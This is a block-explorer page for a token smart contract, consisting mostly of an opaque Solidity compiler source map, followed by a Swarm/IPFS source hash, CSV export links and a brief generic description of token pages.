:17;::::0;;;;;:21;;;28610:11:::1;::::0;;;::::1;28600:22:::0;;;;;;:42:::1;::::0;28559:1;28600:42:::1;:::i;:::-;28585:11;::::0;-1:-1:-1;;;;;28585:11:0::1;28575:22;::::0;;;:9:::1;:22;::::0;;;;:67;28347:486;;:::o;28480:346::-:1;28715:17;:6:::0;28724:8:::1;28715:17;:::i;:::-;-1:-1:-1::0;;;;;28695:17:0;::::1;;::::0;;;:9:::1;:17;::::0;;;;;:37:::1;::::0;;::::1;:::i;:::-;-1:-1:-1::0;;;;;28675:17:0;::::1;;::::0;;;:9:::1;:17;::::0;;;;:57;28797:17:::1;:6:::0;28806:8:::1;28797:17;:::i;:::-;28782:11;::::0;-1:-1:-1;;;;;28782:11:0::1;28772:22;::::0;;;:9:::1;:22;::::0;;;;;:42:::1;::::0;;::::1;:::i;28480:346::-;28347:486:::0;;:::o;29273:380::-;-1:-1:-1;;;;;29409:19:0;;29401:68;;;;-1:-1:-1;;;29401:68:0;;8925:2:1;29401:68:0;;;8907:21:1;8964:2;8944:18;;;8937:30;9003:34;8983:18;;;8976:62;-1:-1:-1;;;9054:18:1;;;9047:34;9098:19;;29401:68:0;8723:400:1;29401:68:0;-1:-1:-1;;;;;29488:21:0;;29480:68;;;;-1:-1:-1;;;29480:68:0;;9330:2:1;29480:68:0;;;9312:21:1;9369:2;9349:18;;;9342:30;9408:34;9388:18;;;9381:62;-1:-1:-1;;;9459:18:1;;;9452:32;9501:19;;29480:68:0;9128:398:1;29480:68:0;-1:-1:-1;;;;;29561:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;29613:32;;2540:25:1;;;29613:32:0;;2513:18:1;29613:32:0;;;;;;;;29273:380;;;:::o;30089:502::-;30224:24;30251:25;30261:5;30268:7;30251:9;:25::i;:::-;30224:52;;-1:-1:-1;;30291:16:0;:37;30287:297;;30391:6;30371:16;:26;;30345:117;;;;-1:-1:-1;;;30345:117:0;;9733:2:1;30345:117:0;;;9715:21:1;9772:2;9752:18;;;9745:30;9811:31;9791:18;;;9784:59;9860:18;;30345:117:0;9531:353:1;30345:117:0;30506:51;30515:5;30522:7;30550:6;30531:16;:25;30506:8;:51::i;:::-;30213:378;30089:502;;;:::o;20031:1674::-;20161:4;-1:-1:-1;;;;;20186:20:0;;20178:70;;;;-1:-1:-1;;;20178:70:0;;10091:2:1;20178:70:0;;;10073:21:1;10130:2;10110:18;;;10103:30;10169:34;10149:18;;;10142:62;-1:-1:-1;;;10220:18:1;;;10213:35;10265:19;;20178:70:0;9889:401:1;20178:70:0;-1:-1:-1;;;;;20267:23:0;;20259:71;;;;-1:-1:-1;;;20259:71:0;;10497:2:1;20259:71:0;;;10479:21:1;10536:2;10516:18;;;10509:30;10575:34;10555:18;;;10548:62;-1:-1:-1;;;10626:18:1;;;10619:33;10669:19;;20259:71:0;10295:399:1;20259:71:0;20347:6;20357:1;20347:11;20343:87;;20382:36;20397:6;20405:9;20416:1;20382:14;:36::i;:::-;20375:43;;;;20343:87;20446:5;;;;;;;20442:1256;;;20471:8;;;;20468:1070;;;20507:41;20522:6;20530:9;20541:6;20507:14;:41::i;20468:1070::-;20638:4;20589:28;14736:18;;;:9;:18;;;;;;20718;;20694:42;;;;;;;20777:36;;-1:-1:-1;20805:8:0;;;;20804:9;20777:36;:64;;;;-1:-1:-1;20830:11:0;;-1:-1:-1;;;;;20817:24:0;;;20830:11;;20817:24;20777:64;:79;;;;-1:-1:-1;20845:11:0;;;;;;;20777:79;20773:334;;;20902:25;;;;;;;20899:122;;;20979:18;;20956:41;;20899:122;21047:36;21062:20;21047:14;:36::i;:::-;-1:-1:-1;;;;;21147:17:0;;;;;;:9;:17;;;;;;:26;;21167:6;;21147:26;:::i;:::-;-1:-1:-1;;;;;21127:17:0;;;;;;:9;:17;;;;;;;;:46;;;;21215:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;21244:28:0;;;;;;:17;:28;;;;;;;;21215:57;21214:136;;21316:34;21324:6;21332:9;21343:6;21316:7;:34::i;:::-;21214:136;;;21307:6;21214:136;-1:-1:-1;;;;;21394:20:0;;;;;;:9;:20;;;;;;21192:158;;-1:-1:-1;21394:34:0;;21192:158;;21394:34;:::i;:::-;-1:-1:-1;;;;;21371:20:0;;;;;;;:9;:20;;;;;;;:57;;;;21452:40;;;;;;-1:-1:-1;;;;;;;;;;;21452:40:0;;;21480:11;2540:25:1;;2528:2;2513:18;;2394:177;21452:40:0;;;;;;;;21518:4;21511:11;;;;;;;20442:1256;21571:36;21592:6;21600;21571:20;:36::i;:::-;21622:38;21634:6;21642:9;21653:6;21622:11;:38::i;:::-;-1:-1:-1;21682:4:0;21675:11;;19723:300;-1:-1:-1;;;;;19853:17:0;;19816:4;19853:17;;;:9;:17;;;;;;:26;;19873:6;;19853:26;:::i;:::-;-1:-1:-1;;;;;19833:17:0;;;;;;;:9;:17;;;;;;:46;;;;19913:20;;;;;;;:29;;19936:6;;19913:29;:::i;:::-;-1:-1:-1;;;;;19890:20:0;;;;;;;:9;:20;;;;;;;:52;;;;19958:35;;;;;;-1:-1:-1;;;;;;;;;;;19958:35:0;;;19986:6;2540:25:1;;2528:2;2513:18;;2394:177;19958:35:0;;;;;;;;-1:-1:-1;20011:4:0;19723:300;;;;;:::o;25685:273::-;25749:29;25766:11;25749:16;:29::i;:::-;25814:21;25851:18;;25848:103;;25907:15;;25886:53;;-1:-1:-1;;;;;25907:15:0;25924:14;25886:20;:53::i;24809:651::-;-1:-1:-1;;;;;24947:20:0;;24895:7;24947:20;;;:12;:20;;;;;;24895:7;;24947:20;;24946:21;:49;;;;-1:-1:-1;;;;;;24972:23:0;;;;;;:12;:23;;;;;;;;24971:24;24946:49;24943:109;;;25037:3;;25027:7;;25018:16;;:6;:16;:::i;:::-;:22;;;;:::i;:::-;25012:28;;24943:109;-1:-1:-1;;;;;25075:20:0;;;;;;:12;:20;;;;;;;;25072:177;;;25136:3;;25127:6;;25118:15;;:6;:15;:::i;:::-;:21;;;;:::i;:::-;25112:27;;25072:177;;;-1:-1:-1;;;;;25169:23:0;;;;;;:12;:23;;;;;;;;25166:83;;;25234:3;;25224:7;;25215:16;;:6;:16;:::i;:::-;:22;;;;:::i;:::-;25209:28;;25166:83;25272:7;;25269:152;;25341:4;25323:24;;;;:9;:24;;;;;;:30;;25350:3;;25323:30;:::i;:::-;25314:4;25296:24;;;;:9;:24;;;;;;;:57;;;;25373:36;;-1:-1:-1;;;;;25373:36:0;;;-1:-1:-1;;;;;;;;;;;25373:36:0;;;25405:3;2540:25:1;;2528:2;2513:18;;2394:177;25373:36:0;;;;;;;;25269:152;25440:12;25449:3;25440:6;:12;:::i;:::-;25433:19;24809:651;-1:-1:-1;;;;;24809:651:0:o;22305:728::-;1288:7;1315:6;-1:-1:-1;;;;;22438:17:0;;;1315:6;;22438:17;;;;:35;;-1:-1:-1;;;;;;22460:13:0;;;;;;:5;:13;;;;;;;;22459:14;22438:35;:60;;;;-1:-1:-1;;;;;;22478:20:0;;;;;;:12;:20;;;;;;;;22477:21;22438:60;22420:606;;;-1:-1:-1;;;;;22535:12:0;;;;;;:4;:12;;;;;;;;22534:13;22526:22;;;;;;-1:-1:-1;;;;;22567:18:0;;22588:1;22567:18;;;:10;:18;;;;;;:22;22563:100;;-1:-1:-1;;;;;22628:18:0;;;;;;:10;:18;;;;;;22618:28;;;22610:37;;;;;;22683:7;;:11;22679:78;;22733:7;;22723:6;:17;;22715:26;;;;;;22775:6;;;;22771:62;;;22802:15;;-1:-1:-1;;;22802:15:0;;11123:2:1;22802:15:0;;;11105:21:1;11162:1;11142:18;;;11135:29;-1:-1:-1;;;11180:18:1;;;11173:35;11225:18;;22802:15:0;10921:328:1;22771:62:0;22851:6;;:10;22847:87;;22911:6;;-1:-1:-1;;;;;22890:17:0;;;;;;:9;:17;;;;;;:27;;22882:36;;;;;;22954:8;;;;22950:65;;;22983:16;22992:6;22983:8;:16::i;23279:1522::-;-1:-1:-1;;;;;23412:17:0;;;;;;:9;:17;;;;;;:26;-1:-1:-1;23412:26:0;23404:60;;;;-1:-1:-1;;;23404:60:0;;11456:2:1;23404:60:0;;;11438:21:1;11495:2;11475:18;;;11468:30;-1:-1:-1;;;11514:18:1;;;11507:51;11575:18;;23404:60:0;11254:345:1;23404:60:0;1288:7;1315:6;-1:-1:-1;;;;;23479:17:0;;;1315:6;;23479:17;;;;:35;;-1:-1:-1;;;;;;23501:13:0;;;;;;:5;:13;;;;;;;;23500:14;23479:35;:62;;;;-1:-1:-1;;;;;;23518:23:0;;23536:4;23518:23;;23479:62;23475:1319;;;23563:8;;;;23560:968;;;23593:40;23608:6;23616:9;23627:5;23593:14;:40::i;:::-;;23560:968;;;23723:4;23674:28;14736:18;;;:9;:18;;;;;;23803;;23779:42;;;;;;;23862:36;;-1:-1:-1;23890:8:0;;;;23889:9;23862:36;:64;;;;-1:-1:-1;23915:11:0;;-1:-1:-1;;;;;23902:24:0;;;23915:11;;23902:24;23862:64;:79;;;;-1:-1:-1;23930:11:0;;;;;;;23862:79;23858:334;;;23987:25;;;;;;;23984:122;;;24064:18;;24041:41;;23984:122;24132:36;24147:20;24132:14;:36::i;:::-;-1:-1:-1;;;;;24232:17:0;;;;;;:9;:17;;;;;;:25;;24252:5;;24232:25;:::i;:::-;-1:-1:-1;;;;;24212:17:0;;;;;;:9;:17;;;;;;;;:45;;;;24299:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;24328:28:0;;;;;;:17;:28;;;;;;;;24299:57;24298:136;;24400:33;24408:6;24416:9;24427:5;24400:7;:33::i;:::-;24298:136;;;24391:5;24298:136;-1:-1:-1;;;;;24478:20:0;;;;;;:9;:20;;;;;;24276:158;;-1:-1:-1;24478:34:0;;24276:158;;24478:34;:::i;:::-;-1:-1:-1;;;;;24455:20:0;;;;;;:9;:20;;;;;:57;-1:-1:-1;;;23560:968:0;24567:9;-1:-1:-1;;;;;24550:34:0;24559:6;-1:-1:-1;;;;;24550:34:0;-1:-1:-1;;;;;;;;;;;24578:5:0;24550:34;;;;2540:25:1;;2528:2;2513:18;;2394:177;23475:1319:0;-1:-1:-1;;;;;24637:17:0;;;;;;:9;:17;;;;;;:25;;24657:5;;24637:25;:::i;:::-;-1:-1:-1;;;;;24617:17:0;;;;;;;:9;:17;;;;;;:45;;;;24700:20;;;;;;;:28;;24723:5;;24700:28;:::i;:::-;-1:-1:-1;;;;;24677:20:0;;;;;;;:9;:20;;;;;;;:51;;;;24748:34;;;;;;-1:-1:-1;;;;;;;;;;;24748:34:0;;;24776:5;2540:25:1;;2528:2;2513:18;;2394:177;23475:1319:0;23279:1522;;;:::o;25966:483::-;13106:8;:15;;-1:-1:-1;;13106:15:0;13117:4;13106:15;;;26068:16:::1;::::0;;26082:1:::1;26068:16:::0;;;;;::::1;::::0;;-1:-1:-1;;26068:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;26068:16:0::1;26044:40;;26113:4;26095;26100:1;26095:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;26095:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;26139:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;26139:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;26095:7;;26139:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26129:4;26134:1;26129:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;26129:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;26204:15:::1;::::0;26172:62:::1;::::0;26189:4:::1;::::0;26204:15:::1;26222:11:::0;26172:8:::1;:62::i;:::-;26245:15;::::0;:196:::1;::::0;-1:-1:-1;;;26245:196:0;;-1:-1:-1;;;;;26245:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;26326:11;;26245:15:::1;::::0;26368:4;;26395::::1;::::0;26415:15:::1;::::0;26245:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;13144:8:0;:16;;-1:-1:-1;;13144:16:0;;;-1:-1:-1;;;;25966:483:0:o;26457:127::-;26541:35;;-1:-1:-1;;;;;26541:27:0;;;:35;;;;;26569:6;;26541:35;;;;26569:6;26541:27;:35;;;;;;;;;;;;;;;;;;;14:131:1;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;402:548::-;514:4;543:2;572;561:9;554:21;604:6;598:13;647:6;642:2;631:9;627:18;620:34;672:1;682:140;696:6;693:1;690:13;682:140;;;791:14;;;787:23;;781:30;757:17;;;776:2;753:26;746:66;711:10;;682:140;;;686:3;871:1;866:2;857:6;846:9;842:22;838:31;831:42;941:2;934;930:7;925:2;917:6;913:15;909:29;898:9;894:45;890:54;882:62;;;;402:548;;;;:::o;955:315::-;1023:6;1031;1084:2;1072:9;1063:7;1059:23;1055:32;1052:52;;;1100:1;1097;1090:12;1052:52;1139:9;1126:23;1158:31;1183:5;1158:31;:::i;:::-;1208:5;1260:2;1245:18;;;;1232:32;;-1:-1:-1;;;955:315:1:o;1467:160::-;1532:20;;1588:13;;1581:21;1571:32;;1561:60;;1617:1;1614;1607:12;1561:60;1467:160;;;:::o;1632:315::-;1697:6;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1813:9;1800:23;1832:31;1857:5;1832:31;:::i;:::-;1882:5;-1:-1:-1;1906:35:1;1937:2;1922:18;;1906:35;:::i;:::-;1896:45;;1632:315;;;;;:::o;2576:456::-;2653:6;2661;2669;2722:2;2710:9;2701:7;2697:23;2693:32;2690:52;;;2738:1;2735;2728:12;2690:52;2777:9;2764:23;2796:31;2821:5;2796:31;:::i;:::-;2846:5;-1:-1:-1;2903:2:1;2888:18;;2875:32;2916:33;2875:32;2916:33;:::i;:::-;2576:456;;2968:7;;-1:-1:-1;;;3022:2:1;3007:18;;;;2994:32;;2576:456::o;3037:180::-;3093:6;3146:2;3134:9;3125:7;3121:23;3117:32;3114:52;;;3162:1;3159;3152:12;3114:52;3185:26;3201:9;3185:26;:::i;3411:316::-;3488:6;3496;3504;3557:2;3545:9;3536:7;3532:23;3528:32;3525:52;;;3573:1;3570;3563:12;3525:52;-1:-1:-1;;3596:23:1;;;3666:2;3651:18;;3638:32;;-1:-1:-1;3717:2:1;3702:18;;;3689:32;;3411:316;-1:-1:-1;3411:316:1:o;3732:180::-;3791:6;3844:2;3832:9;3823:7;3819:23;3815:32;3812:52;;;3860:1;3857;3850:12;3812:52;-1:-1:-1;3883:23:1;;3732:180;-1:-1:-1;3732:180:1:o;3917:388::-;3985:6;3993;4046:2;4034:9;4025:7;4021:23;4017:32;4014:52;;;4062:1;4059;4052:12;4014:52;4101:9;4088:23;4120:31;4145:5;4120:31;:::i;:::-;4170:5;-1:-1:-1;4227:2:1;4212:18;;4199:32;4240:33;4199:32;4240:33;:::i;:::-;4292:7;4282:17;;;3917:388;;;;;:::o;4310:356::-;4512:2;4494:21;;;4531:18;;;4524:30;4590:34;4585:2;4570:18;;4563:62;4657:2;4642:18;;4310:356::o;4671:380::-;4750:1;4746:12;;;;4793;;;4814:61;;4868:4;4860:6;4856:17;4846:27;;4814:61;4921:2;4913:6;4910:14;4890:18;4887:38;4884:161;;4967:10;4962:3;4958:20;4955:1;4948:31;5002:4;4999:1;4992:15;5030:4;5027:1;5020:15;4884:161;;4671:380;;;:::o;5399:127::-;5460:10;5455:3;5451:20;5448:1;5441:31;5491:4;5488:1;5481:15;5515:4;5512:1;5505:15;5531:125;5596:9;;;5617:10;;;5614:36;;;5630:18;;:::i;5661:251::-;5731:6;5784:2;5772:9;5763:7;5759:23;5755:32;5752:52;;;5800:1;5797;5790:12;5752:52;5832:9;5826:16;5851:31;5876:5;5851:31;:::i;8417:168::-;8490:9;;;8521;;8538:15;;;8532:22;;8518:37;8508:71;;8559:18;;:::i;8590:128::-;8657:9;;;8678:11;;;8675:37;;;8692:18;;:::i;10699:217::-;10739:1;10765;10755:132;;10809:10;10804:3;10800:20;10797:1;10790:31;10844:4;10841:1;10834:15;10872:4;10869:1;10862:15;10755:132;-1:-1:-1;10901:9:1;;10699:217::o;11736:127::-;11797:10;11792:3;11788:20;11785:1;11778:31;11828:4;11825:1;11818:15;11852:4;11849:1;11842:15;11868:980;12130:4;12178:3;12167:9;12163:19;12209:6;12198:9;12191:25;12235:2;12273:6;12268:2;12257:9;12253:18;12246:34;12316:3;12311:2;12300:9;12296:18;12289:31;12340:6;12375;12369:13;12406:6;12398;12391:22;12444:3;12433:9;12429:19;12422:26;;12483:2;12475:6;12471:15;12457:29;;12504:1;12514:195;12528:6;12525:1;12522:13;12514:195;;;12593:13;;-1:-1:-1;;;;;12589:39:1;12577:52;;12684:15;;;;12649:12;;;;12625:1;12543:9;12514:195;;;-1:-1:-1;;;;;;;12765:32:1;;;;12760:2;12745:18;;12738:60;-1:-1:-1;;;12829:3:1;12814:19;12807:35;12726:3;11868:980;-1:-1:-1;;;11868:980:1:o

Swarm Source

ipfs://0dda413546b5b87ac0eb3ddd773d98a40e1a29c47aa1cce202d3ca1a8dd8817b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.